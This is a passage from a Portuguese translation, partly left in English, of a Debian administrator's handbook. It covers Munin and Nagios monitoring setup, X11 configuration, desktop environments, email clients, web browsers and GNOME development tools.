O primeiro passo é instalar o pacote munin-node. O serviço ("daemon") instalado por esse pacote escuta na porta 4949 e envia de volta os dados coletados por todas as extensões ativas. Cada extensão é um programa simples que retorna um descrição dos dados coletados, assim como o último valor medido. As extensões são armazenadas em /usr/share/munin/plugins/, mas apenas aquelas com uma ligação simbólica em /etc/munin/plugins/ são realmente usadas.

When the package is installed, a set of active plugins is determined based on the available software and the current configuration of the host. However, this auto-configuration depends on a feature that each plugin must provide, and it is usually a good idea to review and tweak the results by hand. Browsing the Plugin Gallery can be interesting even though not all plugins have comprehensive documentation.

→ https://gallery.munin-monitoring.org

However, all plugins are scripts and most are rather simple and well-commented. Browsing /etc/munin/plugins/ is therefore a good way of getting an idea of what each plugin is about and determining which should be removed. Similarly, enabling an interesting plugin found in /usr/share/munin/plugins/ is a simple matter of setting up a symbolic link with ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/. Note that when a plugin name ends with an underscore “_”, the plugin requires a parameter. This parameter must be stored in the name of the symbolic link; for instance, the “if_” plugin must be enabled with a if_eth0 symbolic link, and it will monitor network traffic on the eth0 interface.

Uma vez que todas as extensões estejam configuradas corretamente, a configuração do serviço ("daemon") tem que ser atualizada para descrever o controle de acesso aos dados coletados. Isso envolve a diretiva allow no arquivo /etc/munin/munin-node.conf. A configuração padão é allow ^127\.0\.0\.1$, e apenas permite acesso à máquina local. Um administrador geralmente irá adicionar uma linha similar contendo o endereço IP da máquina que gera o gráfico ("grapher host"), e então reiniciar o serviço com systemctl restart munin-node.

APROFUNDANDO Criando extensões locais

Munin does include detailed documentation on how plugins should behave, and how to develop new plugins.

→ https://guide.munin-monitoring.org/en/latest/plugin/writing.html

Uma extensão é melhor testada quando executada nas mesmas condições encontradas quando iniciada pelo munin-node; isso pode ser simulado rodando munin-run extensão como root. Um segundo parâmetro potencial dado a esse comando (tal como config) é passado para a extensão como um parâmetro.

Quando uma extensão é invocada com o parâmetro config, ela tem que descrever a si própria pelo retorno de um conjunto de campos:

# munin-run load config graph_title Load average graph_args --base 1000 -l 0 graph_vlabel load graph_scale no graph_category system load.label load graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately"). load.info 5 minute load average

Os vários campos disponíveis são descritos pela Referência das Extensões (“Plugin reference”) disponível como parte do Guia do Munin (“Munin guide”).

→ https://munin.readthedocs.org/en/latest/reference/plugin.html

Quando invocada sem um parâmetro, a extensão apenas retorna os últimos valores medidos; por exemplo, executando sudo munin-run load poderia retornar load.value 0.12.

Finalmente, quando uma extensão é invocada com parâmetro autoconf, ela deveria retornar “yes” (e um status de término 0) ou “no” (com um status de término 1) de acordo sobre se a extensão deve ser habilitada nesta máquina ("host").

12.4.1.2. Configurando a Máquina que faz o Gráfico ("Grapher")

O “grapher” é simplesmente o computador que agrega os dados e gera os gráficos correspondentes. O software necessário está no pacote munin. A configuração padrão roda o munin-cron (uma vez a cada 5 minutos), que reúne dados de todas as máquinas ("hosts") listados em /etc/munin/munin.conf (apenas a máquina ("host") local é listada por padrão), salva os dados históricos em arquivos RRD (Round Robin Database, um arquivo com formato desenvolvido par armazenar dados que variam com o tempo) armazenados em /var/lib/munin/ e gera uma página HTML com os gráficos em /var/cache/munin/www/.

Portanto todas as máquinas monitoradas tem que estar listadas no arquivo de configuração /etc/munin/munin.conf. Cada máquina é listada como uma seção completa, com um nome correspondendo com a máquina e pelo menos uma entrada com endereço dando o endereço IP correspondente.

[ftp.falcot.com] address 192.168.0.12 use_node_name yes

Seções podem ser mais complexas, e descrever gráficos extras que poderiam ser criados pela combinação de dados vindos de várias máquinas. Os exemplos fornecidos no arquivo de configuração são um bom ponto de partida para customizações.

O último passo é publicar as páginas geradas; isso envolve a configuração de um servidor web para que o conteúdo de /var/cache/munin/www/ seja disponibilizado em um site web. O acesso a esse site web geralmente será restrito, pelo uso de um mecanismo de autenticação ou controle de acesso baseado em IP. Veja Seção 11.2, “Servidor web (HTTP)” para os detalhes relevantes.

12.4.2. Configurando o Nagios

Diferentemente do Munin, o Nagios não necessariamente requer a instalação de alguma coisa nas máquinas (""hosts") monitoradas; na maioria das vezes, o Nagios é usado para conferir a disponibilidade de serviços de rede. Por exemplo, o Nagios pode se conectar em um servidor web e conferir que determinada página web pode ser obtida dentro de um determinado tempo.

12.4.2.1. Instalando

O primeiro passo para configurar o Nagios é instalar os pacotes nagios4 e monitoring-plugins. Ao instalar os pacotes, se configura a interface web e o servidor Apache. Os módulos Apache authz_groupfile e auth_digest devem estar habilitados Para isto execute:

# a2enmod authz_groupfile Considering dependency authz_core for authz_groupfile: Module authz_core already enabled Module authz_core already enabled Enabling module authz_groupfile. To activate the new configuration, you need to run: systemctl restart apache2 # a2enmod auth_digest Considering dependency authn_core for auth_digest: Module authn_core already enabled Enabling module auth_digest. To activate the new configuration, you need to run: systemctl restart apache2 # systemctl restart apache2

Adicionar outro usuário é uma simples questão de inseri-los is no arquivo /etc/nagios4/hdigest.users.

Apontar o navegador para http://servidor/nagios4/ exibe a interface web; em particular, note que o Nagios já monitora alguns parâmetros da máquina aonde ele roda. Contudo, algumas funcionalidades interativas, tais como adicionar comentários a uma máquina ("host") não funciona. Esses recursos estão desabilitados pela configuração padrão do Nagios, que é muito restritiva por razões de segurança.

Habilitar alguns recursos envolve editar /etc/nagios4/nagios.cfg. Nós também precisamos configurar permissões de escrita para o diretório usado pelo Nagios, através de comandos como os seguintes:

# systemctl stop nagios4 # dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw # dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4 # systemctl start nagios4

12.4.2.2. Configurando

A interface web do Nagios é bem legal, mas elas não permite configurações, nem pode ser usada para adicionar máquinas ("hosts") monitorados e serviços. Toda a configuração é gerenciada através de arquivos referenciados pelo arquivo de configuração central, /etc/nagios4/nagios.cfg.

Não se deve mergulhar nesses arquivos sem algum entendimento dos conceitos do Nagios. A configuração lista objetos dos seguintes tipos:

um host é a máquina a ser monitorada;

um hostgroup é um conjunto de máquinas que devem ser agrupadas para exibição, ou para fatorar alguns elementos comuns de configuração;

Um service é um elemento testável relacionado a uma máquina ou um grupo de máquinas. Ele irá, muito frequentemente, ser uma checagem para um serviço de rede, mas ele também envolve a checagem de que alguns parâmetros estão dentro de um intervalo aceitável (por exemplo, espaço livre em disco ou carga do processador);

um servicegroup é um conjunto de serviços que devem ser agrupados para exibição;

um contact é uma pessoa que pode receber alertas;

um contactgroup é um grupo de tais pessoas;

um timeperiod é um intervalo de tempo durante o qual alguns serviços tem que ser checados;

um command é a linha de comando invocada para checar um dado serviço.

De acordo com seu tipo, cada objeto tem um número de propriedades que podem ser customizadas. Um lista completa seria muito longa para ser incluída, mas as propriedades mais importantes são as relações entre os objetos.

Um service (serviço) usa um command (commando) para checar o estado de uma funcionalidade em um host (máquina) (ou um hostgroup) dentro de um timeperiod (intervalo de tempo). Em caso de um problema, o Nagios envia um alerta para todos os membros de contactgroup (grupo de contatos) ligados ao serviço. É enviado um alerta a cada membro de acordo com o canal descrito no objeto contact (contato) correspondente.

Um sistema de herança permite o fácil compartilhamento de um conjunto de propriedades entre muitos objetos sem a duplicação de informação. Além disso, a configuração inicial inclui um número de objetos padrão; em muitos casos, a definição de novas máquinas, serviços e contatos é uma simples questão de derivação a partir dos objetos genéricos fornecidos. Os arquivos em /etc/nagios4/conf.d/ são uma boa fonte de informação sobre como eles funcionam.

Os administradores da Falcot Corp usam a seguinte configuração:

Exemplo 12.5. Arquivo /etc/nagios4/conf.d/falcot.cfg

define contact{ name generic-contact service_notification_period 24x7 host_notification_period 24x7 service_notification_options w,u,c,r host_notification_options d,u,r service_notification_commands notify-service-by-email host_notification_commands notify-host-by-email register 0 ; Template only } define contact{ use generic-contact contact_name rhertzog alias Raphael Hertzog email hertzog@debian.org } define contact{ use generic-contact contact_name rmas alias Roland Mas email lolando@debian.org } define contactgroup{ contactgroup_name falcot-admins alias Falcot Administrators members rhertzog,rmas } define host{ use generic-host ; Name of host template to use host_name www-host alias www.falcot.com address 192.168.0.5 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } define host{ use generic-host ; Name of host template to use host_name ftp-host alias ftp.falcot.com address 192.168.0.12 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } # 'check_ftp' command with custom parameters define command{ command_name check_ftp2 command_line /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35 } # Generic Falcot service define service{ name falcot-service use generic-service contact_groups falcot-admins register 0 } # Services to check on www-host define service{ use falcot-service host_name www-host service_description HTTP check_command check_http } define service{ use falcot-service host_name www-host service_description HTTPS check_command check_https } define service{ use falcot-service host_name www-host service_description SMTP check_command check_smtp } # Services to check on ftp-host define service{ use falcot-service host_name ftp-host service_description FTP check_command check_ftp2 }

Este arquivo de configuração descreve duas máquinas monitoradas. A primeira é o servidor web, e a checagem é feita nas portas HTTP (80) e HTTP-seguro (443). O Nagios também checa o funcionamento de um servidor SMTP na porta 25. A segunda máquina é um servidor FTP, e a checagem inclui garantir que uma resposta venha em 20 segundos. Além desse intervalo, um warning é emitido; além de 30 segundos, o alerta é considerado crítico. A interface web do Nagios também mostra que um serviço SSH é monitorado: isso vem de máquinas pertencentes ao grupo de máquinas ssh-servers. O serviço padrão correspondente é definido em /etc/nagios4/conf.d/services_nagios2.cfg.

Note o uso da herança: um objeto é feito para herdar de outro objeto através de “use parent-name”. O objeto pai tem que ser identificável, o que requer dar a ele uma propriedade “name identifier”. Se o objeto pai não se destina a ser um objeto real, mas apenas servir como um pai, dar-lhe uma propriedade “register 0” informa ao Nagios para não considerá-lo, e assim ignorar a falta de alguns parâmetros que de outra forma seriam necessários.

DOCUMENTAÇÃO Lista de propriedades do objeto

A more in-depth understanding of the various ways in which Nagios can be configured can be obtained from the documentation hosted on https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/. It includes a list of all object types, with all the properties they can have. It also explains how to create new plugins.

INDO ALÉM Testes remotos com NRPE

Many Nagios plugins allow checking some parameters local to a host; if many machines need these checks while a central installation gathers them, the NRPE (Nagios Remote Plugin Executor) plugin needs to be deployed. The nagios-nrpe-plugin package needs to be installed on the Nagios server, and nagios-nrpe-server on the hosts where local tests need to run. The latter gets its configuration from /etc/nagios/nrpe.cfg. This file should list the tests that can be started remotely, and the IP addresses of the machines allowed to trigger them. On the Nagios side, enabling these remote tests is a simple matter of adding matching services using the new check_nrpe command.

Capítulo 13. Estação de trabalho

Agora que a publicação do servidor foi feita, os administradores podem se concentrar em instalar as estações individuais e criar uma configuração típica.

13.1. Configurando o servidor X11

Um breve lembrete: X.org é o componente de software que permite que aplicações gráficas sejam exibam janelas na tela. Ele inclui um driver que faz uso eficiente da placa de video. Os recursos oferecidos para as aplicações gráficas são exportados através de uma interface padrão, X11 (Bullseye contém a versão X11R7.7).

PERSPECTIVA X11, XFree86 e X.org

X11 é o sistema gráfico mais usado nos sistemas similares ao Unix (também disponível para Windows e Mac OS). Estritamente falando, o termo "X11" só se refere a uma especificação do protocolo, mas também é usado para se referir à aplicação na prática.

O X11 teve um começo difícil, mas os anos 1990 viram o XFree86 surgir como a implementação de referencia pois era software livre, portável e mantido por uma comunidade colaborativa. Entretanto, a taxa de evolução diminuiu perto do fim quando o software apenas ganhou novos drivers. Esta situação, junto com uma mudança de licença bastante controversa, levou à ramificação X.org em 2004. Esta agora é a implementação de referência, e o Debian Bullseye usa o X.org versão 7.7.

Versões atuais do X.org são capazes de auto-detectar o hardware disponível: isto se aplica à placa de vídeo e ao monitor, assim como aos teclados e mouses; na verdade, isto está tão conveniente que o pacote nem cria mais um arquivo de configuração /etc/X11/xorg.conf.

A configuração do teclado é atualmente feita em /etc/default/keyboard. Esse arquivo é usado tanto para configurar o modo texto quanto a interface gráfica, e ele é manipulado pelo pacote keyboard-configuration. Detalhes sobre a configuração do desenho do teclado estão em Seção 8.1.2, “Configurando o Teclado”.

O pacote xserver-xorg-core provê um servidor X genérico, como o usado pelas versões 7.x do X.org. Esse servidor é modular e usa um conjunto de drivers independentes para manipular diferentes tipos de placas de vídeo. Instalando o xserver-xorg garante que o servidor e pelo menos um driver de vídeo estejam instalados.

Note que se a placa de vídeo detectada não for suportada por nenhum dos drivers disponíveis, o X.org tenta usar os drivers vesa e fbdev. VESA é um driver genérico que deve funcionar com qualquer coisa, mas com capacidades limitadas (poucas resoluções disponíveis, sem aceleração de hardware para jogos e efeitos visuais para desktop, e assim por diante) enquanto fbdev funciona no topo do dispositivo framebuffer do núcleo. Atualmente, o servidor X pode rodar sem quaisquer privilégios administrativos (isto era necessário para configurar a tela) e seu arquivo de log é armazenado no diretório home do usuário em ~/.local/share/xorg/Xorg.0.log, enquanto que fica em /var/log/Xorg.0.log para servidores X iniciados com privilégios de root e para versões anteriores ao Debian 9 Stretch. Este arquivo de log é onde uma pessoa deveria olhar para saber qual driver está sendo usado no momento. Por exemplo, o seguinte trecho coincide com a saída de um driver intel quando este é carregado:

(==) Matched nouveau as autoconfigured driver 0 (==) Matched modesetting as autoconfigured driver 1 (==) Matched fbdev as autoconfigured driver 2 (==) Matched vesa as autoconfigured driver 3 (==) Assigned the driver to the xf86ConfigLayout (II) LoadModule: "intel" (II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so (II) Module intel: vendor="X.Org Foundation"

drivers proprietários EXTRA

Alguns fabricantes de placas de vídeo (em especial a NVIDIA) se recusam a publicar as especificações de hardware que serão necessárias para implementar drivers livres bons. Entretanto, eles fornecem drivers proprietários que permitem usar seus equipamentos. Esta política é maligna, por que mesmo que o driver exista, ele não é tão bem cuidado quanto deveria; e mais, ele não necessariamente segue as atualizações do X.org, o que impede que as últimas atualizações disponíveis de drivers funcionem corretamente. Não podemos apoiar este comportamento, e recomendamos que se evite estes fabricantes, escolhendo outros mais colaborativos.

Se você ainda assim, se ver com uma placa dessas, você irá encontrar os pacotes necessários na seção non-free: nvidia-driver para placas NVIDIA. Ela necessita coincidir com o módulo do núcleo. Construir esse módulo pode ser automatizado pela instalação do pacote nvidia-kernel-dkms (para NVIDIA).

O projeto nouveau visa desenvolver um driver de software livre para placas NVIDIA e é o driver padrão com estas placas no Debian. Em geral, suas funcionalidades e performance não se igualam com o driver proprietário. Em defesa dos desenvolvedores, devemos mencionar que as informações necessárias só podem ser obtidas por engenharia reversa, o que torna as coisas difíceis. Os drivers livres para placas de vídeo ATI, chamadas radeon e amdgpu, são muito melhores neste sentido, embora muitas vezes requeiram um firmware não-livre do pacote firmware-amd-graphics.

13.2. Customizando a Interface Gráfica

13.2.1. Escolhendo um Gerenciador de Exibição

A interface gráfica fornece apenas espaço de exibição. A execução do servidor X por si só leva a uma tela vazia, e é por isso que a maioria das instalações usa um gerenciador de exibição para exibir uma tela de autenticação do usuário e iniciar a área de trabalho gráfica assim que o usuário for autenticado. Os três gerenciadores de exibição mais populares atualmente em uso são: gdm3 (GNOME Display Manager), sddm (sugerido para o KDE Plasma) e lightdm (Light Display Manager). Mais alternativas existem e podem ser encontradas procurando o pacote virtual x-display-manager.

Como os administradores da Falcot Corp optaram por usar o ambiente de área de trabalho GNOME, eles também escolheram logicamente o gdm3 como gerenciador de exibição. O arquivo de configuração /etc/gdm3/daemon.conf tem muitas opções (a lista pode ser encontrada no arquivo de esquema /usr/share/gdm/gdm.schemas) para controlar seu comportamento enquanto /etc/ gdm3/greeter.dconf-defaults contém configurações para a “sessão” de saudação (mais do que apenas uma janela de login, é uma área de trabalho limitada com gerenciamento de energia e ferramentas relacionadas à acessibilidade). Observe que algumas das configurações mais úteis para usuários finais podem ser ajustadas com o centro de controle do GNOME.

13.2.2. Escolhendo um Gerenciador de Janelas

Como cada ambiente de trabalho gráfico provê seu próprio gerenciador de janelas, a escolha do gerenciador de janelas é influenciada pela escolha do ambiente de trabalho gráfico. O GNOME usa o gerenciador de janelas mutter, o Plasma usa kwin, e o Xfce (o qual apresentaremos mais tarde) tem o xfwm. A filosofia Unix sempre permite o uso do gerenciador de janelas escolhido, mas seguir as recomendações permite que o administrador aproveite mais os esforços de integração feitos por cada projeto.

DE VOLTA AO BÁSICO Gerenciador de janelas

O Gerenciador de janela exibe as "decorações" em torno das janelas pertencentes aos aplicativos atualmente em execução, que inclui quadros e a barra de título. Ele também permite a redução, restauração, maximizando e escondendo o windows. A maioria dos gerenciadores de janelas também fornecem um menu que aparece quando a área de trabalho é clicada em uma maneira específica. Este menu fornece os meios para fechar a sessão do Gerenciador de janela, iniciar novas aplicações e em alguns casos, mudar para outro gerenciador de janelas (se instalado).

Os computadores mais antigos podem, no entanto, ter dificuldade em executar ambientes de desktop gráficos pesados. Nestes casos, uma alternativa mais leve (procure pelo pacote virtual de x-window-manager) deve ser usada. Os gerenciadores de janela “leves” (ou pequenos) incluem WindowMaker (no pacote wmaker), afterstep, icewm, blackbox, fluxbox ou openbox. Nesses casos, o sistema deve ser configurado para que o gerenciador de janelas apropriado tenha precedência; a maneira padrão é trocar a alternativa x-window-manager com o comando update-alternatives --config x-window-manager.

ESPECIFIDADES DO DEBIAN Alternativas

A política Debian enumera uma série de comandos padronizados capazes de executar uma ação específica. Por exemplo, o x-window-manager chama um Gerenciador de janelas. Mas o Debian não atribui este comando para um Gerenciador de janela fixa. O administrador pode escolher qual Gerenciador ele deve invocar.

Para cada gerenciador de janelas, o pacote relevante, portanto, registra o comando apropriado como uma escolha possível para x-window-manager junto com a prioridade associada. Exceto uma configuração explícita feita pelo administrador, essa prioridade permite pegar o melhor gerenciador de janelas instalado quando o comando genérico é rodado.

Tanto o registro de comandos quanto a explícita configuração envolvem o script update-alternatives. Escolher para onde aponta o comando simbólico é uma simples questão de rodar o update-alternatives --config comando-simbólico. Este script cria (e mantém) ligações simbólicas no diretório /etc/alternatives/, que por sua vez referencia a localização do executável. Com o passar do tempo, os pacotes são instalados ou removidos, e/ou o administrador faz alterações explícitas na configuração. Quando um pacote provendo uma alternativa é removido, a alternativa vai automaticamente para a próxima melhor escolha entre os comandos possíveis restantes.

Nem todos os comandos simbólicos são explicitamente listados pela política Debian; alguns mantenedores de pacotes Debian deliberadamente escolhem usar esse mecanismo em casos menos simples aonde ainda traz flexibilidade interessante (exemplos incluem x-www-browser, www-browser, cc, c++, awk, e assim por diante).

13.2.3. Gerenciamento de Menu

Ambientes de área de trabalho modernos e muitos gerenciadores de janelas trazem menus listando as aplicações disponíveis para o usuário. Para manter os menus atualizados em relação ao atual conjunto de aplicações disponíveis, geralmente, cada pacote fornece um arquivo .desktop em /usr/share/applications. O formato desses arquivos foram padronizados pela FreeDesktop.org:

→ https://specifications.freedesktop.org/desktop-entry-spec/latest/

Os menus de aplicativos podem ser mais profundamente customizados pelos administradores através de arquivos de configuração globais do sistema como descrito na “Desktop Menu Specification”. Usuários(as) finais também podem customizar os menus com ferramentas gráficas tais como kmenuedit (no Plasma), alacarte (no GNOME) ou menulibre.

→ https://specifications.freedesktop.org/menu-spec/latest/

HISTÓRIA O sistema de menu do Debian

Tempos atrás — bem antes dos padrões da FreeDesktop.org terem emergido — o Debian inventou seu próprio sistema de menu onde cada pacote fornecia uma descrição genérica das entradas do menu pretendido em /usr/share/menu/. Essa ferramenta ainda está disponível no Debian (no pacote menu) mas é apenas um recurso pouco útil já que os mantenedores são encorajados a optar pelos arquivos .desktop em seu lugar.

13.3. Ambientes Gráficos

O campo de área de trabalho gráfica é dominado por duas coleções de software de grande porte: GNOME e Plasma do KDE. Os dois são muito populares.

Essa diversidade está enraizada na história. Plasma (inicialmente apenas KDE, que agora é o nome da comunidade) foi o primeiro projeto de desktop gráfico, mas escolheu o kit de ferramentas gráficas Qt e essa escolha não era aceitável para um grande número de desenvolvedores. O Qt não era um software livre na época e o GNOME foi iniciado com base no kit de ferramentas GTK +. Desde então, o Qt se tornou um software livre, mas os projetos ainda evoluíram em paralelo.

As comunidades GNOME e KDE ainda trabalham juntos: sob o guarda-chuva da FreeDesktop.org, os projetos colaboraram em definir padrões para interoperabilidade entre as aplicações.

Escolher “o melhor” ambiente de trabalho gráfico é uma questão sensível, que nós preferimos apenas orientar. Nós iremos apenas descrever as muitas possibilidades e dar algumas opiniões para desencadear pensamentos. A melhor escolha irá ser a que você fizer após algumas experimentações.

13.3.1. GNOME

O Debian Bullseye inclui o GNOME versão 3.38, que pode ser instalado com um simples apt-get install gnome (ele também pode ser instalado selecionando a tarefa “Debian desktop environment” - task-desktop e task-gnome-desktop).

O GNOME é notável por seus esforços em usabilidade e acessibilidade. Profissionais de design se envolveram na escrita destes padrões e recomendações, que ajudou os desenvolvedores a criar interfaces gráficas de usuários satisfatórias. O projeto também recebe incentivo de grandes empresas de computação, como Intel, IBM, Oracle, Novell, e claro, várias distribuições Linux. Finalmente, muitas linguagens de programação podem ser usadas no desenvolvimento de aplicações com interface para o GNOME.

Figura 13.1. O ambiente GNOME

Para administradores, o GNOME parece ser melhor preparado para grandes implantações. A configuração da aplicação é administrada através da interface GSettings que armazena os dados no banco de dados DConf. As definições das configurações podem assim ser pesquisadas e editadas com as ferramentas de linha de comando gsettings e dconf, ou pelas interfaces gráficas de usuáriodconf-editor. O administrador pode portanto alterar as configurações de usuários com um script simples. O seguinte site web lista todas as informações de interesse de um administrador responsável por gerenciar estações de trabalho GNOME:

→ https://help.gnome.org/admin/

13.3.2. KDE e Plasma

O Debian Bullseye inclui a versão 5.20 do KDE Plasma, que pode ser instalado com apt install kde-standard (task-kde-desktop).

O Plasma teve uma evolução rápida com base em uma abordagem muito prática. Seus autores rapidamente obtiveram resultados muito bons, o que lhes permitiu desenvolver uma grande base de usuários. Esses fatores contribuíram para a qualidade geral do projeto. O Plasma é um ambiente de área de trabalho maduro com uma ampla gama de aplicativos.

Figura 13.2. A área de trabalho Plasma

Desde o lançamento do Qt 4.0, o último problema de licença remanescente com o software KDE foi resolvido. Esta versão foi lançada sob a GPL para Linux e Windows (a versão para Windows foi lançada anteriormente sob uma licença não-livre). Os aplicativos KDE são desenvolvidos principalmente usando a linguagem C++.

13.3.3. Xfce e Outros

O Xfce é uma área de trabalho gráfica simples e leve, que é uma escolha perfeita para computadores com recursos limitados. Ele pode ser instalado com um apt install xfce4 (task-xfce-desktop). Como o GNOME, o Xfce é baseado no conjunto de ferramentas GTK+, e vários componentes são comuns entre as duas áreas de trabalho.

Diferentemente do GNOME e Plasma, o Xfce não almeja ser um projeto vasto. Além dos componentes básicos de uma moderna área de trabalho (gerenciador de arquivo, gerenciador de janelas, gerenciador de sessão, um painel para lançadores de aplicações e assim por diante), ele apenas provê algumas aplicações específicas: um terminal, um calendário (Orageorage), um visualizador de imagens, um gravador de CD/DVD, um reprodutor de mídia (Paroleparole), controle de volume e editor de texto (mousepad).

→ https://xfce.org/?lang=pt_BR

Figura 13.3. O ambiente Xfce

13.3.4. Outros ambientes de área de trabalho

LXDE e LXQt são dois ambientes de área de trabalho focado no aspecto “leve”. O primeiro é baseado em GTK+, enquanto o último é baseado em Qt. Eles podem ser instalados com lxde (task-lxde-desktop) e lxqt (task-lxqt-desktop) metapacotes.

→ https://lxde.org/

→ https://lxqt.org/

Figura 13.4. A área de trabalho LXDE

Figura 13.5. A área de trabalho LXQT

Cinnamon e MATE começaram quando o GNOME 3 se afastou do paradigma de área de trabalho tradicional, descartando o painel usual e seu menu em favor do novo shell baseado em pesquisa. O primeiro reintroduziu um painel bifurcando o GNOME Shell e o último é uma continuação do GNOME 2. Eles podem ser instalados com o cinnamon-desktop-environment (task-cinnamon-desktop) e mate-desktop-environment (task-mate-desktop) meta- pacotes.

→ https://developer.linuxmint.com/projects/cinnamon-projects.html

→ https://mate-desktop.org/

Figura 13.6. A área de trabalho Cinnamon

Figura 13.7. A área de trabalho MATE

13.4. Email

13.4.1. Evolution

COMUNIDADE Pacotes populares

Instalar o pacote popularity-contest habilita a participação em uma pesquisa automatizada que informa ao projeto Debian os pacotes mais populares. Um script é rodado semanalmente pelo cron que envia (por HTTP ou email) uma lista anônima dos pacotes instalados e a última data de acesso aos arquivos que eles contém. Isso permite diferenciar, dentre os pacotes instalados, aqueles que são realmente usados.

Essa informação é uma grande ajuda ao projeto Debian. Ela é usada para determinar quais pacotes devem estar nos primeiros discos de instalação. Dados de instalação também são um fator importante usado para decidir quando remover um pacote com muito poucos usuários na distribuição. Nós cordialmente recomendamos a instalação do pacote popularity-contest e a participação na pesquisa.

Os dados coletados tornam-se públicos todos os dias.

→ https://popcon.debian.org/

Essas estatísticas também podem ajudar a escolher entre dois pacotes que parecem equivalentes. Escolher o pacote mais popular aumenta a probabilidade de fazer uma boa escolha.

O Evolution é o cliente de email do GNOME e pode ser instalado com apt install evolution. Ele é mais que um simples cliente de email: ele também fornece um calendário, um livro de endereço, uma lista de tarefas, e uma aplicação de notas (nota de forma livre). Seus componentes de email incluem um poderoso sistema de indexação de mensagens, e permite a criação de pastas virtuais baseado em consultas de pesquisa em todas as mensagens arquivadas. Em outras palavras, todas as mensagens são armazenadas da mesma forma, mas exibidas em uma organização baseada em pastas, sendo cada pasta contendo mensagens que coincidem com um critério de conjunto de filtros.

Figura 13.8. O programa de e-mail Evolution

Uma extensão do Evolution permite a integração com um sistema de e-mail do Microsoft Exchange; o pacote necessário é evolution-ews.

13.4.2. KMail

O software de email do KDE pode ser instalado com apt install kmail. O KMail apenas lida com email, mas ele pertence a um conjunto de softwares chamado KDE-PIM (de Personal Information Manager - Gerenciador de Informações Pessoais) que inclui recursos como livro de endereço, um componente de calendário, e assim por diante. O KMail tem todos os recursos que se espera de um excelente cliente de email.

Figura 13.9. O programa de e-mail KMail

13.4.3. Thunderbird

O pacote thunderbird fornece o cliente de e-mail do pacote de software Mozilla. Vários conjuntos de localização estão disponíveis nos pacotes thunderbird-l10n- * ; a extensão enigmail lida com a criptografia e assinatura de mensagens, mas não está disponível em todos os idiomas.

Figura 13.10. O software de email Thunderbird

13.5. Navegadores Web

Epiphany, o navegador web da suíte GNOME, usa o mecanismo de exibição WebKit desenvolvido pela Apple para seu navegador Safari. O pacote relevante é o epiphany-browser.

O Konqueror, disponível no pacote konqueror, é o navegador web do KDE (mas também pode assumir a função de gerenciador de arquivos). Ele usa o mecanismo de renderização KHTML específico do KDE; KHTML é um excelente mecanismo, como testemunhado pelo fato de que o WebKit da Apple é baseado em KHTML. O KDE também tem um navegador mais novo chamado Falkon, disponível no pacote falkon. Ele usa o QtWebEngine.

Os usuários não satisfeitos com qualquer um dos itens acima podem usar o Firefox. Este navegador, disponível no pacote firefox-esr, usa o renderizador Gecko do projeto Mozilla, com uma interface leve e extensível por cima.

Figura 13.11. O navegador web Firefox

VOCABULÁRIO Firefox ESR

Mozilla tem um ciclo de lançamentos ágil para o Firefox. Novas versões são publicadas a cada seis a oito semanas e apenas a última é suportada para questões de segurança. Isto não atende todo tipo de usuários , então a cada 10 ciclos, eles promovem uma das versões para um Extended Support Release (Lançamento de Suporte Estendido) (ESR) que vai receber atualizações de segurança (não mudanças de funcionalidade) durante os próximos 10 ciclos (que cobre um pouco mais que um ano).

O Debian possui ambas as versões empacotadas. A versão ESR, no pacote firefox-esr, é utilizada por padrão, uma vez que é a única versão adequada para o Debian Estável com um suporte de longo prazo (e mesmo assim, o Debian precisa atualizar as versões ESR várias vezes ao longo do ciclo de vida do Debian Estável). A versão normal do Firefox está no pacote firefox porém encontra-se disponível apenas para usuários do Debian Unstable.

CULTURA Iceweasel, Firefox e outros

Antes do Debian Stretch não havia Firefox e Thunderbird. O pacote iceweasel continha o Iceweasel, que era basicamente o Firefox sob outro nome.

A razão por trás dessa mudança de nome foi o resultado das regras de uso impostas pela Fundação Mozilla na marca registrada Firefox™: qualquer software com nome Firefox tinha que usar os ícones e logo oficiais Firefox. Contudo, como esses elementos não são lançados sob uma licença livre, o Debian não pôde distribui-los na sua seção main. Ao invés de mover todo o navegador para a non-free, o mantenedor do pacote escolheu usar um nome diferente.

Por questões similares, o cliente de email Thunderbird™ foi renomeado par Icedove de modo semelhante.

Hoje em dia a logo e os ícones são distribuídos sob uma licença de software livre e a Mozilla reconheceu que as mudanças feitas pelo projeto Debian estão respeitando a sua licença de marca comercial, portanto o Debian pode novamente inserir os aplicativos Mozilla com seus nomes oficiais.

CULTURA Mozilla

O Navegador Netscape era o navegador padrão quando a web começou a alcançar as massas, mas foi deixado para trás quando a Microsoft passou a oferecer o Internet Explorer da Microsoft junto com o Windows e assinou contratos com fabricantes de computadores que os proibiam de instalar o Navegador Netscape previamente. Confrontada com esse fracasso, a Netscape (a companhia) decidiu “libertar” seu código fonte, lançando-o sob uma licença livre, para dar a ele uma segunda chance. Esse foi o início do projeto Mozilla. Após muitos anos de desenvolvimento, os resultados são mais que satisfatórios: o projeto Mozilla trouxe um motor de renderização HTML (chamado Gecko) que está entre os mais compatíveis com o padrão. Esse motor de renderização é usado em particular pelo navegador Mozilla Firefox, que é um dos principais navegadores.

Por último, mas não menos importante, o Debian também contém o navegador Chromium (disponível no pacote chromium). Este navegador foi desenvolvido pelo Google e se tornou o navegador mais popular em apenas alguns anos. Seu objetivo claro é tornar os serviços da Web mais atraentes, otimizando o desempenho do navegador e aumentando a segurança do usuário. O código gratuito que alimenta o Chromium também é usado por sua versão proprietária chamada Google Chrome™.

13.6. Desenvolvimento

13.6.1. Ferramentas para GTK+ no GNOME

Anjuta (no pacote anjuta) e GNOME Builder (no pacote gnome-builder) são Ambientes de Desenvolvimento Integrado ( IDE) otimizados para criar aplicativos GTK+ para GNOME. Glade (no pacote glade) é um aplicativo projetado para criar interfaces gráficas GTK+ para GNOME e salvá-las em um arquivo XML. Esses arquivos XML podem então ser carregados pela biblioteca compartilhada GTK+ através de seu componente GtkBuilder para recriar as interfaces salvas; tal recurso pode ser interessante, por exemplo, para plugins que requerem diálogos.

→ https://wiki.gnome.org/Apps/Builder

→ http://anjuta.org/

